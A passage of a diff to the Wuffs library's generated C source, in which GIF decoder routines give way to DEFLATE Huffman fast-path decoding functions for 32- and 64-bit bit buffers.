(v_n_bits > 63u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ while (v_n_bits >= 8u) { ++ v_n_bits -= 8u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); ++ goto exit; + } +- +- ok: +- self->private_impl.p_decode_ae[0] = 0; ++ } ++ self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); ++ self->private_impl.f_n_bits = v_n_bits; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); + goto exit; + } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_ae[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_ae[0].v_block_size = v_block_size; +- self->private_data.s_decode_ae[0].v_is_animexts = v_is_animexts; +- self->private_data.s_decode_ae[0].v_is_netscape = v_is_netscape; +- self->private_data.s_decode_ae[0].v_is_iccp = v_is_iccp; +- self->private_data.s_decode_ae[0].v_is_xmp = v_is_xmp; +- + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + + return status; + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++// ‼ WUFFS MULTI-FILE SECTION -x86_bmi2 + +-// -------- func gif.decoder.decode_gc ++// -------- func deflate.decoder.decode_huffman_fast32 + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_gc( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__decode_huffman_fast32( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_flags = 0; +- uint16_t v_gc_duration_centiseconds = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_table_entry = 0; ++ uint32_t v_table_entry_n_bits = 0; ++ uint32_t v_lmask = 0; ++ uint32_t v_dmask = 0; ++ uint32_t v_redir_top = 0; ++ uint32_t v_redir_mask = 0; ++ uint32_t v_length = 0; ++ uint32_t v_dist_minus_1 = 0; ++ uint32_t v_hlen = 0; ++ uint32_t v_hdist = 0; ++ uint32_t v_hdist_adjustment = 0; + ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -38502,106 +39863,205 @@ wuffs_gif__decoder__decode_gc( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_gc[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ v_bits = self->private_impl.f_bits; ++ v_n_bits = self->private_impl.f_n_bits; ++ v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); ++ v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); ++ if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); ++ goto exit; ++ } ++ v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); ++ label__loop__continue:; ++ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 12u)) { ++ if (v_n_bits < 15u) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ } else { + } +- if (v_c != 4u) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); ++ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ if (v_n_bits < 15u) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ } else { ++ } ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_length = (((v_table_entry >> 8u) & 255u) + 3u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_table_entry_n_bits > 0u) { ++ if (v_n_bits < 15u) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ } else { + } +- uint8_t t_1 = *iop_a_src++; +- v_flags = t_1; ++ v_length = (((v_length + 253u + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } else { + } +- self->private_impl.f_gc_has_transparent_index = ((v_flags & 1u) != 0u); +- v_flags = ((v_flags >> 2u) & 7u); +- if (v_flags == 2u) { +- self->private_impl.f_gc_disposal = 1u; +- } else if ((v_flags == 3u) || (v_flags == 4u)) { +- self->private_impl.f_gc_disposal = 2u; ++ if (v_n_bits < 15u) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; + } else { +- self->private_impl.f_gc_disposal = 0u; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint16_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- iop_a_src += 2; ++ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 28u) == 1u) { ++ if (v_n_bits < 15u) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; + } else { +- self->private_data.s_decode_gc[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_gc[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; +- if (num_bits_2 == 8) { +- t_2 = ((uint16_t)(*scratch)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; +- } + } +- v_gc_duration_centiseconds = t_2; ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } else { + } +- self->private_impl.f_gc_duration = (((uint64_t)(v_gc_duration_centiseconds)) * 7056000u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if ((v_table_entry >> 24u) != 64u) { ++ if ((v_table_entry >> 24u) == 8u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; + } +- uint8_t t_3 = *iop_a_src++; +- self->private_impl.f_gc_transparent_index = t_3; ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; ++ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_n_bits < v_table_entry_n_bits) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; + } +- if (v_c != 0u) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); ++ v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ do { ++ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_hlen = 0u; ++ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_length > v_hdist) { ++ v_length -= v_hdist; ++ v_hlen = v_hdist; ++ } else { ++ v_hlen = v_length; ++ v_length = 0u; ++ } ++ v_hdist += v_hdist_adjustment; ++ if (self->private_impl.f_history_index < v_hdist) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); ++ goto exit; ++ } ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); ++ if (v_length == 0u) { ++ goto label__loop__continue; ++ } ++ if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); ++ goto exit; ++ } ++ } ++ if ((v_dist_minus_1 + 1u) >= 8u) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } else { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } ++ } while (0); ++ } ++ while (v_n_bits >= 8u) { ++ v_n_bits -= 8u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); + goto exit; + } +- +- goto ok; +- ok: +- self->private_impl.p_decode_gc[0] = 0; ++ } ++ self->private_impl.f_bits = (v_bits & ((((uint32_t)(1u)) << v_n_bits) - 1u)); ++ self->private_impl.f_n_bits = v_n_bits; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); + goto exit; + } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_gc[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -38609,15 +40069,52 @@ wuffs_gif__decoder__decode_gc( + return status; + } + +-// -------- func gif.decoder.decode_id_part0 ++// -------- func deflate.decoder.decode_huffman_fast64 + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_id_part0( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__decode_huffman_fast64( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return (*self->private_impl.choosy_decode_huffman_fast64)(self, a_dst, a_src); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_table_entry = 0; ++ uint32_t v_table_entry_n_bits = 0; ++ uint64_t v_lmask = 0; ++ uint64_t v_dmask = 0; ++ uint32_t v_redir_top = 0; ++ uint32_t v_redir_mask = 0; ++ uint32_t v_length = 0; ++ uint32_t v_dist_minus_1 = 0; ++ uint32_t v_hlen = 0; ++ uint32_t v_hdist = 0; ++ uint32_t v_hdist_adjustment = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -38629,147 +40126,160 @@ wuffs_gif__decoder__decode_id_part0( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_id_part0[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ v_bits = ((uint64_t)(self->private_impl.f_bits)); ++ v_n_bits = self->private_impl.f_n_bits; ++ v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); ++ v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); ++ if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); ++ goto exit; ++ } ++ v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); ++ label__loop__continue:; ++ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { ++ v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); ++ iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; + } else { +- self->private_data.s_decode_id_part0[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 8) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; +- } ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- self->private_impl.f_frame_rect_x0 = t_0; ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_id_part0[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 8) { +- t_1 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; +- } +- } +- self->private_impl.f_frame_rect_y0 = t_1; ++ v_length = (((v_table_entry >> 8u) & 255u) + 3u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_table_entry_n_bits > 0u) { ++ v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_2 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_id_part0[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; +- if (num_bits_2 == 8) { +- t_2 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; +- } ++ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 28u) == 1u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } ++ if ((v_table_entry >> 24u) != 64u) { ++ if ((v_table_entry >> 24u) == 8u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; + } +- self->private_impl.f_frame_rect_x1 = t_2; ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- self->private_impl.f_frame_rect_x1 += self->private_impl.f_frame_rect_x0; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_id_part0[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; +- if (num_bits_3 == 8) { +- t_3 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ do { ++ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_hlen = 0u; ++ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_length > v_hdist) { ++ v_length -= v_hdist; ++ v_hlen = v_hdist; ++ } else { ++ v_hlen = v_length; ++ v_length = 0u; ++ } ++ v_hdist += v_hdist_adjustment; ++ if (self->private_impl.f_history_index < v_hdist) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); ++ goto exit; ++ } ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); ++ if (v_length == 0u) { ++ goto label__loop__continue; ++ } ++ if 